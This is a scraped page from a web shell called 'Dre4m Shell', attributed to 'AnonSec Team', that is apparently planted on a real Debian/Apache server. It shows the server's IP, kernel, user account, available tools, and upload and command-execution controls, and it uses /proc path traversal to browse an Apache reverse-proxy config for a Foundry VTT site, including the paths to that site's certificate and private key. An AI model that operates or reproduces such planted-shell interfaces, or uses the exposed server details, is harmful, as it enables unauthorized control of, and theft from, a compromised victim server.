Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.139.107.174
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/2/root/proc/2/cwd/proc/3/root/etc/apache2/sites-enabled/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/2/root/proc/2/cwd/proc/3/root/etc/apache2/sites-enabled/foundry-apache.conf
# Apache .conf for reverse proxy of Foundry VTT.
# Uses LetsEncrypt/certbot to manage SSL certificates, which needs to be
# configured separately (https://certbot.eff.org/instructions)
# Note, requires mod_proxy mod_proxy_http mod_proxy_wstunnel as well as usual
# modules for SSL etc.

    Listen 9000

<VirtualHost *:9000>
    ServerAdmin webmaster@localhost
    ServerName fictionalmaps.com
    ErrorLog "/var/log/apache2/fictionalmaps.com.error_log"
    CustomLog "/var/log/apache2/fictionalmaps.com.access_log" common
    LogLevel error
    # Uncomment this SSLProxyEngine line if Foundry running in SSL mode
    #SSLProxyEngine on
    Include /etc/letsencrypt/options-ssl-apache.conf
    ProxyPreserveHost On
    # Change localhost:30000 if your Foundry instance is running on a
    # different server or port.
    # Additionally, if you are running Foundry with SSL enabled, change
    # any ws:// to wss:// and any http:// to https://
    # If you have Foundry configured to use a routeprefix, then no modifications
    # should be needed to anything here, it should just work.
    ProxyPass / http://localhost:8080/
    ProxyPassReverse / http://localhost:8080/
    # The following rewrite will modify websocket requests to pass them properly
    RewriteEngine on
    RewriteCond %{HTTP:Upgrade} websocket [NC]
    RewriteCond %{HTTP:Connection} upgrade [NC]
    RewriteRule .* "ws://localhost:8080%{REQUEST_URI}" [P]
#    ProxyPass  "/socket.io/" "ws://localhost:8080/socket.io/"
    SSLCertificateFile /etc/letsencrypt/live/fictionalmaps.com/fullchain.pem
    SSLCertificateKeyFile /etc/letsencrypt/live/fictionalmaps.com/privkey.pem
</VirtualHost>

Anon7 - 2022
AnonSec Team